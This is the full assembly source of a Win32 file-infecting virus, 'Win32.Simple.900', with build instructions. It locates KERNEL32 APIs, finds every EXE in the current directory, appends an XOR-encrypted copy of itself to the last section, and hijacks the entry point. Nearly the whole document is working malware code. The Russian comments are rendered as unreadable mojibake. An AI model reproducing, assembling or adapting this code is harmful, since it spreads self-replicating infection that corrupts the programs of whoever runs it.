COMMENT % PE-EXE.CRYPT. A very simple non-tsr Win32 virus. Scannes for files in the current directory and infects it by appending to the last section. โฎ ฎ็ฅญ์ ฏเฎแโฎฉ ขจเใแ คซ๏ Win32. Š แฎฆ ซฅญจ๎, ฎญ ข๋่ฅซ โฎซ์ชฎ แฅฉ็ แ - ๏ ก๋ซ ง ญ๏โ คเใฃจฌจ คฅซ ฌจ, จ ใ ฌฅญ๏ โฎซ์ชฎ ญฅค ขญฎ ฏฎ๏ขจซ แ์ ขฎงฌฎฆญฎแโ์ ฏฎแโ ขจโ์ WindowsNT จ SoftIce คซ๏ ญฅฃฎ, ็โฎก๋ จแฏ๋โ โ์ ํโฎโ ฏเฎคใชโ. ˆ, ช ช ฎช ง ซฎแ์, ญฅ งเ๏, โ ช ช ช ๏ ฎกญ เใฆจซ ฎคญใ ฌฅซชใ๎ ฎ่จกชใ, จง-ง  ชฎโฎเฎฉ, ฎคญ ชฎ, ขจเใแ ญฅ เ กฎโ ซ ฏฎค WindowsNT. ’ฅฏฅเ์, ฅแโฅแโขฅญญฎ, ขแฅ ข ฏฎเ๏คชฅ. Ž แ ฌฎฌ ขจเใแฅ: ญฅเฅงจคฅญโญ๋ฉ, ่จไเฎข ญญ๋ฉ; จ้ฅโ จ ง เ ฆ ฅโ PE-ไ ฉซ๋ ข โฅชใ้ฅฉ คจเฅชโฎเจจ (คฎฏจแ๋ข ฅโแ๏ ช ฏฎแซฅคญฅฉ แฅชๆจจ). „ซ๏ เ กฎโ๋ แ ไ ฉซ ฌจ จแฏฎซ์งใ๎โแ๏ API จง KERNEL32,  คเฅแ ชฎโฎเฎฃฎ กฅเฅโแ๏ จง แโํช . จช ช ญฅ ฏเฎ๏ขซ๏ฅโแ๏. DJ Sadovnikov (http://i.am/djsad), 26.01.2001 ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Šฎฌฏจซจเฎข โ์ แ ฏฎฌฎ้์๎ TASM32 5.0r tasm32 /m /ml simple.asm tlink32 /Tpe /x simple.obj,,,import32.lib pewrsec simple.exe del simple.obj ” ฉซ๋ จง  เๅจข : simple.asm 8900 (จแๅฎคญจช ขจเใแ ) simple.exe 8192 (กจญ เญจช ขจเใแ ) simple.doc 8300 (โฅๅญจ็ฅแช ๏ จญไฎเฌ ๆจ๏) % ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ .386 .model flat extrn MessageBoxA:proc extrn ExitProcess:proc .data Message db 'Virus has started...',0 .code Start: push 0 push offset Message push offset Message push 0 call MessageBoxA push 0 call ExitProcess ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; €—€‹Ž ‚ˆ“‘€ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Virus: pushad call Entry Entry: pop ebp ;[ แ่จไเฎข๋ข ฅฌ ขจเใแ] Key: mov ax, 0 mov esi, Crypt-Entry Loop1: xor [esi+ebp], al add al, ah inc esi cmp esi, CodeSize+Virus-Entry jne Loop1 ;[‘ฎๅเ ญ๏ฅฌ ข แโฅชฅ  คเฅแ ขฎงขเ โ  ข ฏเฎฃเ ฌฌใ-ญฎแจโฅซ์] Crypt: db 68h RetAddress dd Start-(RetAddr+4) ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;[ˆ้ฅฌ ข ฏ ฌ๏โจ KERNEL32 จ แฎๅเ ญ๏ฅฌ ฅฃฎ  คเฅแ ข EDX] mov ebx, [esp+24h] and bx, 0F000h FindKernel: sub ebx, 1000h cmp [ebx], word ptr 'ZM' jne FindKernel mov edx, ebx mov [KernelAddr-Entry+ebp], ebx ;[“แโ ญ ขซจข ฅฌ EBX ญ  โ กซจๆใ ํชแฏฎเโฎข] mov esi, [ebx+3Ch] add esi, ebx cmp [esi], dword ptr 'EP' jne Exit add ebx, [esi+78h] ;[ฎคฃฎโ ขซจข ฅฌ เฅฃจแโเ๋ คซ๏ ฏฎจแช  แโเฎชจ "GetProcAddress"] mov ecx, [ebx+18h] mov esi, [ebx+20h] mov edi, [ebx+24h] add esi, edx add edi, edx ;[ˆ้ฅฌ แโฎชใ "GetProcAddress"] cld Search: lodsd add eax, edx push ecx push edi xchg esi, eax lea edi, [GetProcAddress-Entry+ebp] mov ecx, APINameSize repe cmpsb xchg esi, eax pop edi pop ecx je Found inc edi inc edi loop Search jmp Exit ;[‚๋็จแซ๏ฅฌ  คเฅแ ไใญชๆจจ "GetProcAddress"] Found: movzx eax, word ptr [edi] shl eax, 2 mov esi, [ebx+1Ch] add esi, edx add esi, eax lodsd add eax, edx mov [GetProcAddr-Entry+ebp], eax ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;[ ๅฎคจฌ ฏฅเข๋ฉ ไ ฉซ ข โฅชใ้ฅฉ คจเฅชโฎเจจ] lea eax, [DTA-Entry+ebp] push eax lea eax, [FMask-Entry+ebp] push eax lea eax, [FindFirstFileA-Entry+ebp] call CallAPI cmp eax, -1 je Exit mov [SearchHandle-Entry+ebp], eax ;[Žโชเ๋ข ฅฌ ไ ฉซ] Infect: xor eax, eax push eax push eax push 3 push eax push eax push 0C0000000h lea eax, [DTA+2Ch-Entry+ebp] push eax lea eax, [CreateFileA-Entry+ebp] call CallAPI cmp eax, -1 je FindNext mov ebx, eax ;[‘็จโ๋ข ฅฌ ็ฅโ๋เฅ ก ฉโ  ฏฎ แฌฅ้ฅญจ๎ 3Ch] mov eax, 3Ch call Seek mov ecx, 4 lea edx, [HeaderOfs-Entry+ebp] call Read ;[‘็จโ๋ข ฅฌ PE ง ฃฎซฎขฎช] mov eax, [HeaderOfs-Entry+ebp] call Seek mov ecx, HeaderSize lea edx, [Header-Entry+ebp] call Read ;[เฎขฅเ๏ฅฌ โจฏ ไ ฉซ  จ ฅฃฎ ง เ ฆฅญญฎแโ์] cmp [Header-Entry+ebp], dword ptr 'EP' jne Close cmp [Header+58h-Entry+ebp], '6666' je Close ;[‚๋็จแซ๏ฅฌ แฌฅ้ฅญจฅ ฏฎแซฅคญฅฃฎ ํซฅฌฅญโ  โ กซจๆฅ ฎก๊ฅชโฎข] xor eax, eax imul ax, [Header+06h-Entry+ebp], ObjectSize add ax, [Header+14h-Entry+ebp] add ax, 18h-ObjectSize add eax, [HeaderOfs-Entry+ebp] mov [ObjectOfs-Entry+ebp], eax ;[‘็จโ๋ข ฅฌ ข ฏ ฌ๏โ์ ฏฎแซฅคญจฉ ํซฅฌฅญโ โ กซจๆ๋ ฎก๊ฅชโฎข] call Seek mov ecx, ObjectSize lea edx, [Object-Entry+ebp] call Read ;[‘เ ขญจข ฅฌ ไจงจ็ฅแชจฉ จ ขจเโใ ซ์ญ๋ฉ เ งฌฅเ๋ ฎก๊ฅชโ ] mov eax, [Object+10h-Entry+ebp] cmp [Object+08h-Entry+ebp], eax jae L1 mov [Object+08h-Entry+ebp], eax ;[‘ฎๅเ ญ๏ฅฌ แโ เใ๎ จ ข๋็จแซ๏ฅฌ ญฎขใ๎ โฎ็ชใ ขๅฎค ] L1: add eax, [Object+0Ch-Entry+ebp] mov ecx, [Header+28h-Entry+ebp] sub ecx, eax sub ecx, RetAddr+4-Virus mov [RetAddress-Entry+ebp], ecx mov [Header+28h-Entry+ebp], eax ;[Šฎเเฅชโจเใฅฌ เ งฌฅเ ไ ฉซ ] add eax, VirSize mov [Header+50h-Entry+ebp], eax ;[‚๋็จแซ๏ฅฌ แฌฅ้ฅญจฅ, ฏฎ ชฎโฎเฎฌใ ญใฆญฎ ง ฏจแ โ์ ขจเใแ] mov eax, [Object+14h-Entry+ebp] add eax, [Object+10h-Entry+ebp] call Seek ;[Šฎเเฅชโจเใฅฌ ขจเโใ ซ์ญ๋ฉ จ ไจงจ็ฅแชจฉ เ งฌฅเ๋ ฏฎแซฅคญฅฃฎ ฎก๊ฅชโ ] add [Object+08h-Entry+ebp], dword ptr VirSize add [Object+10h-Entry+ebp], dword ptr CodeSize ;[“แโ ญ ขซจข ฅฌ ใ ฏฎแซฅคญฅฃฎ ฎก๊ฅชโ   โเจกใโ๋ ็โฅญจ๏/ง ฏจแจ] or [Object+24h-Entry+ebp], 0A0000020h ;[“แโ ญ ขซจข ฅฌ ฏเจงญ ช ง เ ฆฅญญฎแโจ] mov [Header+58h-Entry+ebp], '6666' ;[ฎซใ็ ฅฌ แซใ็ ฉญ๋ฉ ชซ๎็ คซ๏ ่จไเฎขชจ] lea eax, [GetTickCount-Entry+ebp] call CallAPI mov [Key+2-Entry+ebp], ax ;[Šฎฏจเใฅฌ ขจเใแ ข กใไไฅเ] lea esi, [Virus-Entry+ebp] lea edi, [Buffer-Entry+ebp] mov ecx, CodeSize cld rep movsb ;[˜จไเใฅฌ ฎแญฎขญฎฅ โฅซฎ ขจเใแ  ข กใไไฅเฅ] mov esi, (Buffer-Entry)+(Crypt-Virus) Loop2: xor [esi+ebp], al add al, ah inc esi cmp esi, (Buffer-Entry)+CodeSize jne Loop2 ;[‡ ฏจแ๋ข ฅฌ ชฎค ขจเใแ  ข ไ ฉซ] mov ecx, CodeSize lea edx, [Buffer-Entry+ebp] call Write ;[‡ ฏจแ๋ข ฅฌ PE ง ฃฎซฎขฎช] mov eax, [HeaderOfs-Entry+ebp] call Seek mov ecx, HeaderSize lea edx, [Header-Entry+ebp] call Write ;[‡ ฏจแ๋ข ฅฌ ฏฎแซฅคญจฉ ํซฅฌฅญโ โ กซจๆ๋ ฎก๊ฅชโฎข] mov eax, [ObjectOfs-Entry+ebp] call Seek mov ecx, ObjectSize lea edx, [Object-Entry+ebp] call Write ;[‡ ชเ๋ข ฅฌ ไ ฉซ] Close: push ebx lea eax, [CloseHandle-Entry+ebp] call CallAPI ;[ˆ้ฅฌ แซฅคใ๎้จฉ ไ ฉซ] FindNext: lea eax, [DTA-Entry+ebp] push eax push dword ptr [SearchHandle-Entry+ebp] lea eax, [FindNextFileA-Entry+ebp] call CallAPI or eax, eax jnz Infect ;[Žโค ฅฌ ใฏเ ขซฅญจฅ ฏเฎฃเ ฌฌฅ-ญฎแจโฅซ๎] Exit: pop dword ptr [RetAddr-Entry+ebp] popad db 0E9h RetAddr dd 0 ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; Ž„Žƒ€ŒŒ› ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Seek: push 0 push 0 push eax lea eax, [SetFilePointer-Entry+ebp] jmp L3 Read: lea eax, [ReadFile-Entry+ebp] jmp L2 Write: lea eax, [WriteFile-Entry+ebp] L2: push 0 lea edi, [Bytes-Entry+ebp] push edi push ecx push edx L3: push ebx call CallAPI ret CallAPI: push eax db 068h KernelAddr dd 0 db 0B8h GetProcAddr dd 0 call eax jmp eax ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; „€›… ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ VirName db 'Win32.Simple.900 -- Copyright (c) by DJ Sadovnikov' DTASize = 13Eh HeaderSize = 5Ch ObjectSize = 28h APINameSize = 15 GetProcAddress db 'GetProcAddress',0 CreateFileA db 'CreateFileA',0 FindFirstFileA db 'FindFirstFileA',0 FindNextFileA db 'FindNextFileA',0 SetFilePointer db 'SetFilePointer',0 ReadFile db 'ReadFile',0 WriteFile db 'WriteFile',0 CloseHandle db 'CloseHandle',0 GetTickCount db 'GetTickCount',0 FMask db '*.EXE',0 CodeSize = $ - Virus HeaderOfs dd ? ObjectOfs dd ? SearchHandle dd ? Bytes dd ? Object db ObjectSize dup (?) Header db HeaderSize dup (?) DTA db DTASize dup (?) Buffer db CodeSize dup (?) VirSize = $ - Virus end Virus